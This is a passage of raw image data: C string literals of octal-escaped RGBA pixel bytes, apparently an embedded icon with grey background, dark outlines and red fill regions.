"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\261\261\261\377\067\067\067"
"\377\000\000\000\377\000\000\000\377\020\000\000\377~\000\000\377\355\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\365\000\000\377\007\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\340\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\215"
"\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\226\223\223\377ppp\377ppp\337ppp\377ppp\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"}||\377ppp\377\230\230\230\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\312\312\312\377ddd\377\005\005\005"
"\377\000\000\000\377\023\000\000\377\205\000\000\377\361\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377?\000\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\241\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203"
"\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\226\223\223\377ppp\377ppp\337ppp\377ppp\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377}||\377ppp\377\230\230\230\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\236\236\236\377\027\027\027\377"
"\000\000\000\377\003\000\000\377j\000\000\377\355\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377~\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377b\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\217\217"
"\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\226\223\223\377ppp\377ppp\337ppp\377"
"ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377}||\377ppp\377\230\230\230\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\317\317\317\377fff\377\003\002\002\377\000\000\000\377\064\000"
"\000\377\320\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\300\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377e\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\217"
"\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\227\224\224\377ppp\377ppp\340pp"
"p\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\230\230\230\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\275\275\275\377...\377\000\000\000\377\003\000\000\377y\000\000\377\372"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\374\000\000\377<\000\000\377\000\000\000\377\003\000\000\377\256\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\227\224\224\377ppp\377ppp\340"
"ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\230\230\230\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\255\255\255\377\016\015\015\377\000\000\000\377\002\000\000\377\213\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\372\000\000\377\274\000\000\377\324\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^"
"^\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\227\224\224\377"
"ppp\377ppp\340ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\230\230"
"\230\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\230\230\230\377\014\013\013\377\000\000\000\377\000\000\000\377\000\000\000\377\014\000\000\377\324"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000"
"\000\377^^^\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\227\224"
"\224\377ppp\377ppp\340ppp\377ppp\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377"
"\230\230\230\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\204\204"
"\204\377\003\003\003\377\000\000\000\377\011\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\037"
"\000\000\377\354\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000"
"\000\377^^^\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\227\223"
"\223\377ppp\377ppp\341ppp\377ppp\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377"
"\230\230\230\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\203\203\203\377\002\001\001\377"
"\000\000\000\377z\000\000\377\234\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377P"
"\000\000\377\376\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\227\223\223\377ppp\377"
"ppp\341ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\230\230\230\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377yyy\377\001\001\001\377\001\000\000\377\231\000\000\377\377\000\000\377\377\000"
"\000\377l\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377~\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\227\223\223\377ppp\377ppp\341ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377\230\230\230\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\206\206\206\377\002\001\001\377"
"\000\000\000\377\213\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\370\000\000\377\066"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\003\000\000\377\341\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\227\223\223\377ppp\377ppp\341ppp\377ppp\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377}||\377ppp\377\231\231\231\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\244\244\244\377\006\005\005\377\000\000\000\377\214\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\342\000\000\377\025\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\250\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
